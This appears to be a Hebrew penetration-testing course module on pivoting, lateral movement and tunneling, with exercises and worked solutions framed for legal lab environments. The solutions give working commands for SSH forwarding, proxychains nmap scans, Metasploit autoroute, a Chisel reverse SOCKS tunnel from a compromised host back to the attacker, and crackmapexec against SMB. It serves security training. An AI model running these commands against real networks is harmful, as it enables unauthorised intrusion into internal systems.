

מודול 12 — Pivoting ותנועה רוחבית — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 12: Pivoting ותנועה רוחבית

2.  פתרונות מלאים — מודול 12: Pivoting ותנועה רוחבית

תרגילים — מודול 12: Pivoting ותנועה רוחבית

⚠ רק על סביבות מעבדה חוקיות — רשת מעבדה משלך, חדרי (Wreath, Pivoting) TryHackMe, או HackTheBox Pro Labs. פתרונות ב- solutions.md.

מקרא רמות: קל • בינוני • מתקדם • אתגר

חלק א' — זיהוי והבנה (●)

12.1 — הסבר במילים שלך את ההבדל בין **Pivoting**, **Lateral Movement** ו-**Tunneling**.

12.2 — נפרצת למכונה. אילו פקודות תריץ כדי לגלות שיש לה **רשת פנימית נוספת**? רשום 3 לפחות.

12.3 — צייר/תאר תרחיש **Dual-Homed: Kali, Pivot** (שתי רשתות), ומכונה פנימית. סמן מי רואה את מי.

חלק ב' — SSH Tunneling (●)

12.4 — יש לך SSH ל-Pivot. השתמש ב-**Local Forwarding** (L) כדי לגשת משרת web פנימי `localhost:8080` דרך `10.10.10.30:80` ב-Kali.

12.5 — הקם **Dynamic Forwarding** (`ssh -D 9050`), הגדר **proxychains**, וגלוש לשרת פנימי דרך הפרוקסי.

12.6 — הרץ **nmap** דרך **proxychains** על מכונה פנימית. אילו שני דגלים הכרחיים, ולמה?

חלק ג' — Chisel ו-Metasploit (●)

12.7 — יש לך Meterpreter על Pivot. הוסף **autoroute** לרשת `10.10.10.0/24` וסרוק מכונה פנימית עם מודול portscan של Metasploit.

12.8 — אין SSH. השתמש ב-Chisel (reverse SOCKS) כדי להקים מנהרה מהקורבן ל-Kali, והרץ דרכה scan עם proxychains.

12.9 — הסבר מהו **Double Pivot** ומתי תזדקק לו. תאר איך תשרשר שתי מנהרות.

אתגר מסכם — “חדירה לרשת הפנימית”

בסביבת מעבדה מרובת-רשתות (Wreath “TryHackMe” מצוין לכך):

1. פרוץ את מכונת ה-Pivot (הראשונה, החשופה).
2. גלה את הרשת הפנימית מאחוריה (ip a , arp).
3. הקם מנהרה (SSH -D / Chisel / Metasploit) לרשת הפנימית.
4. סרוק את הרשת הפנימית דרך המנהרה, מצא מכונה נוספת, ופרוץ אותה.
5. תעד: דיאגרמת רשת, שיטת ה-Pivot, והפקודות המדויקות בכל שלב.

חדירה לרשת פנימית דרך Pivot היא לב הבחינה של PNPT ו-OSCP. תעד את הדיאגרמה — היא מרשימה בכל דוח.

רשימת בקרה — לפני מעבר למודול 13

- ☐ אני מבין Pivoting / Lateral Movement / Tunneling
- ☐ אני מזהה רשת פנימית אחרי פריצה
- ☐ אני משתמש ב-SSH -L / -R / -D
- ☐ אני מגדיר proxychains ומריץ דרכו כלים (עם -Pn -sT)
- ☐ אני מפייבוט עם Metasploit autoroute
- ☐ אני מקים מנהרה עם Chisel כשאין SSH
- ☐ אני מבין ומבצע Double Pivot

פתרונות מלאים: [solutions.md](#)

פתרונות מלאים — מודול 12: Pivoting ותנועה רוחבית

נסה לבד ב- [missions.md](#) קודם. כל הפעולות על סביבות מעבדה חוקיות בלבד.

חלק א' — זיהוי והבנה

12.1 — Lateral Movement = מעבר בין מכונות באותה רשת (עם credentials). **Pivoting** = שימוש במכונה שנפרצה כנקודת מעבר לרשת אחרת. **Tunneling** = עטיפת תעבורה בפרוטוקול (SSH) לחציית גבולות.

12.2

```
ip a; ip route      # ממשקים ורשתות
arp -a              # שכנים ידועים
cat /etc/hosts
netstat -rn          # טבלת ניתוב
```

12.3 — Pivot → (192.168.1.10) Kali (10.10.10.5 + 192.168.1.50) → פנימית
(10.10.10.20) Kali רואה רק את 1.x ; ה-Pivot רואה את שתי הרשתות; הפנימית לא נגישה ל-Kali ישירות.

חלק ב' — SSH Tunneling

12.4

```
ssh -L 8080:10.10.10.30:80 user@192.168.1.50
# שרת פנימי = curl http://localhost:8080 -Kali ב
```

12.5

```
ssh -D 9050 user@192.168.1.50
# /etc/proxychains4.conf → socks5 127.0.0.1 9050
proxychains firefox http://10.10.10.30
```

12.6

```
proxychains nmap -sT -Pn -p- 10.10.10.30
```

-sT (TCP Connect) כי SYN scan לא עובר ב-SOCKS; -Pn כי ICMP ping לא עובר בפרוקסי (אחרת nmap ידלג על המכונה).

חלק ג' — Chisel ו-Metasploit

12.7

```
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background
msf > use auxiliary/scanner/portscan/tcp
msf > set RHOSTS 10.10.10.30
msf > set PORTS 22,80,445,3389
msf > run
```

12.8

```
# Kali (שרת):
./chisel server -p 8000 --reverse
# על הקורבן:
./chisel client <kali-ip>:8000 R:socks
# ← SOCKS 127.0.0.1:1080-ב; /etc/proxychains4.conf → socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.30
```

12.9 — Double Pivot = כשהמכונה הפנימית שפרצת רשת **שלישית** שגם ה-Pivot הראשון לא רואה. משרשרים: מנהרה 1 (Kali → Pivot1), ואז מנהרה 2 (Pivot1 → Pivot2) — למשל SSH -D דרך proxychains קיים, או Chisel שרץ על Pivot2 דרך המנהרה הראשונה.

אתגר מסכם — מבנה תיעוד

```
# <רשת >לקוח - Pivoting דוח
##
דיאגרמת רשת
Kali(192.168.1.10) → Pivot(.1.50 / 10.10.10.5) → Target2(10.10.10.30)
##
שיטה
1. פגיע (מודול 9) web דרך שירות Pivot פריצת.
2. גילוי רשת פנימית: ip a → eth1 10.10.10.5/24.
3. מנהרה: ssh -D 9050 www-data@192.168.1.50.
4. proxychains nmap -sT -Pn 10.10.10.0/24 → 10.10.10.30:445 מצא.
5. proxychains crackmapexec smb 10.10.10.30 → פריצה.
##
המלצת תיקון
Network segmentation; לרשת פנימית DMZ-חסום תעבורה מ;
חריגים SSH tunnels נטר.
```

עברת? חצית מ-DMZ לרשת פנימית — מיומנות ליבה. המשך למודול 13.